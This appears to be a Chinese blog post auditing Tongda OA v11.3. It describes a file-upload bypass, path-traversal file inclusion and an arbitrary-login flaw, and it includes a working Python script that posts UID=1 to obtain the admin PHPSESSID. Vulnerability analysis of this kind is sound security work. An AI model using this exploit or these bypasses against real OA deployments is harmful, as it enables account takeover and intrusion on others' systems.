因为这段时间比较忙,抽出时间写博客很不容易,所以就简单的吧印象笔记里面的内容站上俩,没有写太多具体的分析过程,尽量都在截图中说明了

附件 通达OA11.3源码(未解码,可以自己去下SeayDzend解码)

链接:https://pan.baidu.com/s/17kItUwoPfPIeeK2ZnRnmEA 
提取码:ALEX

文件上传漏洞:

\ispirit\im\upload.php 5:$P参数非空即可绕过上传限制
16:include_once "inc/utility_file.php 2299:is_uploadable ( ) 过滤函数内的文件后缀判断可绕过( : 2307)
此处可以利用文件%00截断或web服务器的先天缺陷进行攻击,构造上传文件特殊的后缀名,即可绕过该过滤

文件包含漏洞:

\ispirit\interface\gateway.php:27
此处存在文件遍历将json内的值提出来
//在json中构造POC,地址直接写入json中,构造出含有"general/"字符串并../../../等格式的地址,访问先前上传成功的恶意脚本文件

任意用户登录漏洞:

/logincheck_code.php
这里直接通过POST传入UID:
通过UID进行数据库的查询,并加以参数的赋值:
mysql> select * from USER where UID=1 \G;
因为UID=1是admin用户,所以这儿直接就是把admin的session给调了出来:
我们用burp测试一下,给他喂一个UID=1
于是我们便得到了PHPSESSID
然后再主页内的请求包中直接修改该
进来了:
附上该漏洞的Python利用POC:直接获取admin用户的登录PHPSESSID
import requests
import jsonheaders={}
def getV11Session(url):checkUrl = url+'/general/login_code.php'print(checkUrl)try:headers["User-Agent"] = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)"getSessUrl = url+'/logincheck_code.php'res = requests.post(getSessUrl, data={ 'UID': int(1)},headers=headers)print('[+]Get Available COOKIE:'+res.headers['Set-Cookie'])except:print('[-]Something Wrong With '+url)if __name__ == "__main__":getV11Session("http://127.0.0.1/")

该poc是获取到最近一次登录admin的PHPSESSID,要是admin又登陆了一次的话,还是要重新获取,因为PHPSESSID会变的

参考文章:
https://www.freebuf.com/vuls/236034.html
https://www.cnblogs.com/BOHB-yunying/p/12833848.html
附件:PHP代码审计常见函数
ob_start()  控制用户浏览器的缓冲区cache
通过此方法可以将服务器输出在浏览器的内容先缓存在浏览器的cache中,直到 flush或者ob_end_flush才会输出
include_once  包含某文件(若已经包含过则不在包含)
session_id — 获取/设置当前会话 ID
session_id ([ string $id ] ) : string
        session_id() 可以用来获取/设置 当前会话 ID。 如果指定了 id 参数的值, 则使用指定值作为会话 ID。 必须在调用 session_start() 函数之前调用 session_id() 函数
session_start()  session_start — 启动新会话或者重用现有会话
session_write_close()  写入会话数据和结束回话
ob_end_clean()   ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
strtolower()  字符串转化为小写
substr()   返回字符串的相对位置的子串   
ltrim()   删除字符串开头的空白或其他字符
preg_match ()  执行匹配正则表达式
stripcslashes ( )   返回反转义后的字符串。

真正不羁的灵魂不会去计较什么,因为他们内心有着国王般的骄傲
——杰克·凯鲁亚克

通达OA V11.3 代码审计 (文件上传、文件包含、任意用户登录漏洞)相关推荐

  1. 通达OA任意文件上传/文件包含RCE漏洞分析

    通达OA任意文件上传/文件包含RCE漏洞分析 0x01 前提 0x01 漏洞介绍 0x02 漏洞分析 首先下载安装 绕过身份验证文件上传部分 变量传递问题 文件包含部分 0x01 前提 关于这个漏洞的 ...

  2. 渗透测试-文件上传/下载/包含

    渗透测试-文件上传/下载/包含 概述 一.常见校验上传文件的方法 客户端校验 服务器端校验 1.校验请求头 content-type字段 2. 正则匹配来判断文件幻数(文件头)内容是否符合要求 3. ...

  3. 【漏洞复现】通达OA v11.7 在线任意用户登录漏洞

    0x00 前言 通达OA V11.7版本存在这任意用户登录漏洞,该漏洞需要管理员在线才可以登录系统,另外一个方面就是编译在线的uid值进行判断. 具体fofa语法放在下面: app="TDX ...

  4. 通达OA任意用户登录漏洞复现

    目录 通达OA任意用户登录漏洞 漏洞描述 影响范围 漏洞复现 通达OA任意用户登录漏洞

  5. 通达+oa+php+文件+乱,通达OA 任意文件上传+文件包含导致RCE

    0x00 漏洞描述 ispirit/im/upload.php存在绕过登录(任意文件上传漏洞),结合gateway.php处存在的文件包含漏洞,最终导致getshell,或者直接利用日志文件写入she ...

  6. 通达OA文件上传+文件包含导致远程代码执行漏洞复现

    漏洞说明 通达OA是一套办公系统.近日通达OA官方在其官方论坛披露了近期一起通达OA用户服务器遭受勒索病毒攻击事件并发布了多个版本的漏洞补丁.漏洞类型为任意文件上传,受影响的版本存在文件包含漏洞. 未 ...

  7. 任意文件上传mysql_[代码审计]XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)...

    0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...

  8. ajax servlet增删改查,Servlet ajax 文件上传和JDBC+Servler用户表增删改查

    昨天晚上帮一个妹子,应该是大二或者大三的.解决了Servlet+JDBC实现用户表的增删改查功能,当时妹子遇到的问题是文件上传和日期格式处理不太会. 我让她把代码发我,我本地调试,结果发现坑很多,就是 ...

  9. Struts2 文件上传 文件类型 大小过滤

    使用Struts2上传文件,其实使用的是apache的 commons-fileupload-1.1.jar 在实际使用的过程中,配置了fileUpload拦截器并不能过滤上传的文件类型,只能处理大小 ...

最新文章

  1. R语言使用ggplot2包使用geom_dotplot函数绘制分组点图(添加均值、中位数)实战(dot plot)
  2. python selenium 进入新标签页_Python 爬虫 | 用selenium实现批改网的自动翻译
  3. oc5480十六进制_oc 数据类型 | 学步园
  4. AndroidManifest详解
  5. scalac和classpath的设置
  6. 阻止页面双击选中文本
  7. html选项卡_适用于Mac的最佳HTML文本编辑器,编码开发必备
  8. linux脚本里使用sftp,如何在shell脚本里使用sftp批量传送文件
  9. windows下c 用mysql数据库_Windows环境下C/C++访问PostgreSQL数据库
  10. 系统学习机器学习之随机场(二)--MEMM
  11. java liststring 排序_Java list集合排序
  12. lammps建模_lammps建模方法,即生成data文件
  13. smartsvn基本操作
  14. 软件开发公司能开发哪些类型的app软件
  15. IBM制造业专家赵亮:汽车及制造业质量体系管理
  16. Fate Decision剧本
  17. 国外不良资产证券化经验总结
  18. excel链接隐藏工作表_在Excel 2007和2010中隐藏和取消隐藏工作表和工作簿
  19. 电影天堂React Native 客户端V2.0发布
  20. tyvj2059 元芳看电影

热门文章

  1. freebsd安装xfce桌面
  2. Linux操作系统(一)——Unix、Linux、Ubuntu之间的关系
  3. DB,DBMS,DBS之间的关系
  4. Adobe Photoshop(ps)
  5. 几种常见的hash算法
  6. 51单片机入门代码(上篇)
  7. 9.13 用C语言实现LED1/LED2/LED3灯点亮
  8. 【无人驾驶系列九】无人驾驶系统安全
  9. 泰坦尼克号乘客生存预测(XGBoost)
  10. MD5值计算方法,推荐使用linux系统计算,一条命令搞定!